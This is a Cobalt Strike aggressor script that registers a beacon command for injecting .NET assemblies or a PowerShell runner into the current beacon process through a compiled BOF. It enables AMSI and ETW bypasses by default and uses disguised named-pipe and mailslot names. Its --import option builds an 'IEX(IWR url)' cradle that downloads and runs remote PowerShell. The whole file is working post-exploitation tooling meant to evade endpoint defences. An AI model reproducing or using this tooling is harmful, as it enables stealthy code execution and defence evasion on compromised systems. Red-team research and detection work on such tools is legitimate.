inline-x.cna

#Register command
beacon_command_register(
    "x",
    "Load CLR if not already loaded and inject .NET assembly into current beacon process. Avoids creating a new sacraficial process via fork and run technique",
    "Synopsis: 1. x execute-assembly <exe> <args> 2. x powerpick <powershell>");

global('$etw $amsi $appDomain $version');

#Global vars don't change
$etw = 1;
$revertETW = 0;
$amsi = 1;
$mailSlot = 0;
$entryPoint = 1;

$powerpickPath = "C:\\Users\\Attacker\\source\\repos\\powerpick\\bin\\Release\\powerpick.exe"; # CHANGE THIS

#Default values set here - if you don't want to use flags to change -> change here
$appDomain = "SharedDomain";
$pipeName = "dotnet-diagnostic-1337";
$mailSlotName = "totesLegit";

alias x {
    #--------------------------------------Extract / Parse Arguments--------------------------------------#
    $data = substr($0, 2);
    @args = split(' ', $data);

    local('$_amsi $_etw $_revertETW $_appDomain $_dotNetAssembly $_version $_assemblyargs $_assemblyWithArgs $_entryPoint $_mailSlot $_mailSlotName $_mailSlotNameArgs $_pipeName $_pipeNameArgs');

    $_amsi = "";
    $_etw = "";
    $_revertETW = "";
    $_mailSlot = "";
    $_mailSlotName = "";
    $_mailSlotNameArgs = "";
    $_pipeName = "";
    $_pipeNameArgs = "";
    $_entryPoint = "";
    $_appDomain = "";
    $_appDomainArgs = "";
    $_dotNetAssembly = "";
    $_dotNetAssemblyArgs = "";
    $_assemblyWithArgs = "";
    $_import = "";

    @CliOptions = @("--amsi", "--etw", "--revertetw", "execute-assembly", "powerpick", "--import", "--appdomain", "--pipe", "--mailslot", "--main");

    for ($i = 0; $i < size(@args); $i++) {

        if (@args[$i] iswm "--etw") {
            $_etw = 1;
        }
        
        else if (@args[$i] iswm "--amsi") {
            $_amsi = 1;
        }
        
        else if (@args[$i] iswm "--revertetw") {
            $_revertETW = 1;
        }
        
        else if (@args[$i] iswm "--main") {
            $_entryPoint = int(0);
        }
        
        else if (@args[$i] iswm "execute-assembly" || @args[$i] iswm "powerpick") {
            $count = 0;
            
            if (@args[$i] iswm "execute-assembly") {
                $i = $i + 1;
                $_dotNetAssembly = @args[$i];
            } else {
                $_dotNetAssembly = $powerpickPath;
                $cradle = beacon_host_imported_script($1);
                @_dotNetAssemblyArgs[$count] = $cradle;
                $count = $count + 1;
            }

            $i = $i + 1;
            for ($j = $i; $j < size(@args); $j++) {
                if (@args[$j] in @CliOptions) {
                    break;
                } else {
                    @_dotNetAssemblyArgs[$count] = @args[$j];

                    #Taking care of arguments embedded within single / double quotes and consider it as one single argument(disregarding spaces).
                    #if(('"' isin @_dotNetAssemblyArgs[$count] || "'" isin @_dotNetAssemblyArgs[$count]) && $_dotNetAssembly ne $powerpickPath) {
                    #    
                    #    $k = 0;
                    #    $j = $j + 1;
                    #
                    #    for ($k = $j; $k < size(@args); $k++) {
                    #        if (lindexOf(@_dotNetAssemblyArgs[$count], '"') == (strlen(@_dotNetAssemblyArgs[$count]) - 1) || lindexOf(@_dotNetAssemblyArgs[$count], "'") == (strlen(@_dotNetAssemblyArgs[$count]) - 1)) {
                    #            $k = $k - 1;
                    #            break;
                    #        }
                    #
                    #        if ('"' isin @args[$k] || "'" isin @args[$k]) {
                    #            @_dotNetAssemblyArgs[$count] = @_dotNetAssemblyArgs[$count]." ".@args[$k];
                    #            break;
                    #        } else {
                    #            @_dotNetAssemblyArgs[$count] = @_dotNetAssemblyArgs[$count]." ".@args[$k];
                    #        }
                    #    }
                    #
                    #    $j = $k;
                    #    $i = $k;
                    #}

                    $count = $count + 1;
                }
            }
        }

        else if (@args[$i] iswm "--import") {
            $i = $i + 1;
            $_import = @args[$i];
        }
        
        else if (@args[$i] iswm "--appdomain") {
            $i = $i + 1;
            $count = 0;
            for ($j = $i; $j < size(@args); $j++) {
                if (@args[$j] in @CliOptions) {
                    break;
                } else {
                    @_appDomain[$count] = @args[$j];

                    #Taking care of arguments embedded within single / double quotes and consider it as one single argument(disregarding spaces).
                        if(('"' isin @_appDomain[$count] || "'" isin @_appDomain[$count])) {

                        $k = 0;
                        $j = $j + 1;

                        for ($k = $j; $k < size(@args); $k++) {
                            if (lindexOf(@_appDomain[$count], '"') == (strlen(@_appDomain[$count]) - 1) || lindexOf(@_appDomain[$count], "'") == (strlen(@_appDomain[$count]) - 1)) {
                                $k = $k - 1;
                                break;
                            }
                            if ('"' isin @args[$k] || "'" isin @args[$k]) {
                                @_appDomain[$count] = @_appDomain[$count]." ".@args[$k];
                                break;
                            }else {
                                @_appDomain[$count] = @_appDomain[$count]." ".@args[$k];
                            }
                        }

                        $j = $k;
                        $i = $k;
                    }

                    $count = $count + 1;

                }
            }
        }
        
        else if (@args[$i] iswm "--mailslot") {
            $_mailSlot = 1;
            $i = $i + 1;
            $count = 0;
            for ($j = $i; $j < size(@args); $j++) {
                if (@args[$j] in @CliOptions) {
                    break;
                } else {
                    @_mailSlotName[$count] = @args[$j];

                    #Taking care of arguments embedded within single / double quotes and consider it as one single argument(disregarding spaces).
                        if(('"' isin @_mailSlotName[$count] || "'" isin @_mailSlotName[$count])) {

                        $k = 0;
                        $j = $j + 1;

                        for ($k = $j; $k < size(@args); $k++) {
                            if (lindexOf(@_mailSlotName[$count], '"') == (strlen(@_mailSlotName[$count]) - 1) || lindexOf(@_mailSlotName[$count], "'") == (strlen(@_mailSlotName[$count]) - 1)) {
                                $k = $k - 1;
                                break;
                            }
                            if ('"' isin @args[$k] || "'" isin @args[$k]) {
                                @_mailSlotName[$count] = @_mailSlotName[$count]." ".@args[$k];
                                break;
                            }else {
                                @_mailSlotName[$count] = @_mailSlotName[$count]." ".@args[$k];
                            }
                        }

                        $j = $k;
                        $i = $k;
                    }

                    $count = $count + 1;

                }
            }
        }
        
        else if (@args[$i] iswm "--pipe") {
            $i = $i + 1;
            $count = 0;
            for ($j = $i; $j < size(@args); $j++) {
                if (@args[$j] in @CliOptions) {
                    break;
                } else {
                    @_pipeName[$count] = @args[$j];

                    #Taking care of arguments embedded within single / double quotes and consider it as one single argument(disregarding spaces).
                        if(('"' isin @_pipeName[$count] || "'" isin @_pipeName[$count])) {

                        $k = 0;
                        $j = $j + 1;

                        for ($k = $j; $k < size(@args); $k++) {
                            if (lindexOf(@_pipeName[$count], '"') == (strlen(@_pipeName[$count]) - 1) || lindexOf(@_pipeName[$count], "'") == (strlen(@_pipeName[$count]) - 1)) {
                                $k = $k - 1;
                                break;
                            }
                            if ('"' isin @args[$k] || "'" isin @args[$k]) {
                                @_pipeName[$count] = @_pipeName[$count]." ".@args[$k];
                                break;
                            }else {
                                @_pipeName[$count] = @_pipeName[$count]." ".@args[$k];
                            }
                        }

                        $j = $k;
                        $i = $k;
                    }

                    $count = $count + 1;

                }
            }
        }
    }

    #--------------------------------------Appending.NET assembly arguments--------------------------------------#

    #Appending.NET assembly arguments to $_assemblyWithArgs var (separated by " ")
    for ($i = 0; $i < size(@_dotNetAssemblyArgs); $i++) {
        if (@_dotNetAssemblyArgs[$i] ne "") {
            if ($_assemblyWithArgs ne "") {
                $_assemblyWithArgs = $_assemblyWithArgs." ".@_dotNetAssemblyArgs[$i];
            } else {
                $_assemblyWithArgs = @_dotNetAssemblyArgs[$i];
            }
        }
    }

    if ($_import ne "") {
        if (substr($_import, 0, 4 ) eq "http") {
            $_assemblyWithArgs = "IEX(IWR ".$_import." -UseBasicParsing);".$_assemblyWithArgs;
        } else {
            $_assemblyWithArgs = "IPMO ".$_import.";".$_assemblyWithArgs;
        }
    }
    
    #--------------------------------------Appending appDomain arguments--------------------------------------#

    #Appending appDomain arguments to $_appDomainArgs var (separated by " ")
    for ($i = 0; $i < size(@_appDomain); $i++) {
        if (@_appDomain[$i] ne "") {
            if ($_appDomainArgs ne "") {
                $_appDomainArgs = $_appDomainArgs." ".@_appDomain[$i];
            } else {
                $_appDomainArgs = @_appDomain[$i];
            }
        }
    }

    #--------------------------------------Appending mailSlotName arguments--------------------------------------#

    #Appending mailSlot arguments to $_mailSlotNameArgs var (separated by " ")
    for ($i = 0; $i < size(@_mailSlotName); $i++) {
        if (@_mailSlotName[$i] ne "") {
            if ($_mailSlotNameArgs ne "") {
                $_mailSlotNameArgs = $_mailSlotNameArgs." ".@_mailSlotName[$i];
            } else {
                $_mailSlotNameArgs = @_mailSlotName[$i];
            }
        }
    }

    #--------------------------------------Appending pipeName arguments--------------------------------------#

    #Appending pipeName arguments to $_pipeNameArgs var (separated by " ")
    for ($i = 0; $i < size(@_pipeName); $i++) {
        if (@_pipeName[$i] ne "") {
            if ($_pipeNameArgs ne "") {
                $_pipeNameArgs = $_pipeNameArgs." ".@_pipeName[$i];
            } else {
                $_pipeNameArgs = @_pipeName[$i];
            }
        }
    }

    if ($_appDomainArgs eq "") {
        $_appDomainArgs = $appDomain;
    }
    if ($_mailSlotNameArgs eq "") {
        $_mailSlotNameArgs = $mailSlotName;
    }
    if ($_pipeNameArgs eq "") {
        $_pipeNameArgs = $pipeName;
    }
    if ($_amsi == "") {
        $_amsi = $amsi;
    }
    if ($_etw == "") {
        $_etw = $etw;
    }
    if ($_revertETW == "") {
        $_revertETW = $revertETW;
    }
    if ($_entryPoint ne int(0)) {
        $_entryPoint = $entryPoint;
    }
    if ($_mailSlot == "") {
        $_mailSlot = $mailSlot;
    }

    #--------------------------------------Load BOF--------------------------------------#

    # figure out the arch of this session
    $barch = barch($1);
    
    # read in the right BOF file
    $handle = openf(script_resource("inlineExecute-Assembly $+ $barch $+ .o"));
    $bof = readb($handle, -1);
    closef($handle);
    if (strlen($bof) < 1) {
        berror($1, "Error: BOF bin could not be found. Please ensure the compiled BOF (.o file) exists in the same folder as this aggressor script");
        return;
    }

    #--------------------------------------Error Handling--------------------------------------#

    $assemblyPath = $_dotNetAssembly;
    $bid = $1;
    if ($assemblyPath eq "") {
        berror($bid, "Run 'help x'\n");
        return;
    }

    if (!-exists $assemblyPath || !-isFile $assemblyPath) {
        berror($bid, "File ".$assemblyPath." doesn't exist\n");
        return;
    }

    #--------------------------------------Convert.NET assembly to bytes--------------------------------------#

    #Reading assembly bytes and get the size in bytes
    $fileHandle = openf($_dotNetAssembly);
    $assemblyLength = lof($_dotNetAssembly);
    $assemblyBytes = readb($fileHandle, -1);
    closef($fileHandle);
  
    #--------------------------------------Package and ship it--------------------------------------#

    # pack our arguments
    $bofArgs = bof_pack($1, "ziiiiizzzib", $_appDomainArgs, $_amsi, $_etw, $_revertETW, $_mailSlot, $_entryPoint, $_mailSlotNameArgs, $_pipeNameArgs, $_assemblyWithArgs, $assemblyLength, $assemblyBytes);

    # announce what we're doing 
    btask($1, "Running inline: ".$_dotNetAssembly." ".$_assemblyWithArgs);

    # execute it.
    beacon_inline_execute($1, $bof, "go", $bofArgs);

    clear(@_assemblyWithArgs);
    clear(@_dotNetAssemblyArgs);
    clear(@_appDomainArgs);
    clear(@_appDomain);
    clear(@_mailSlotNameArgs);
    clear(@_mailSlotName);
    clear(@_pipeNameArgs);
    clear(@_pipeName);
}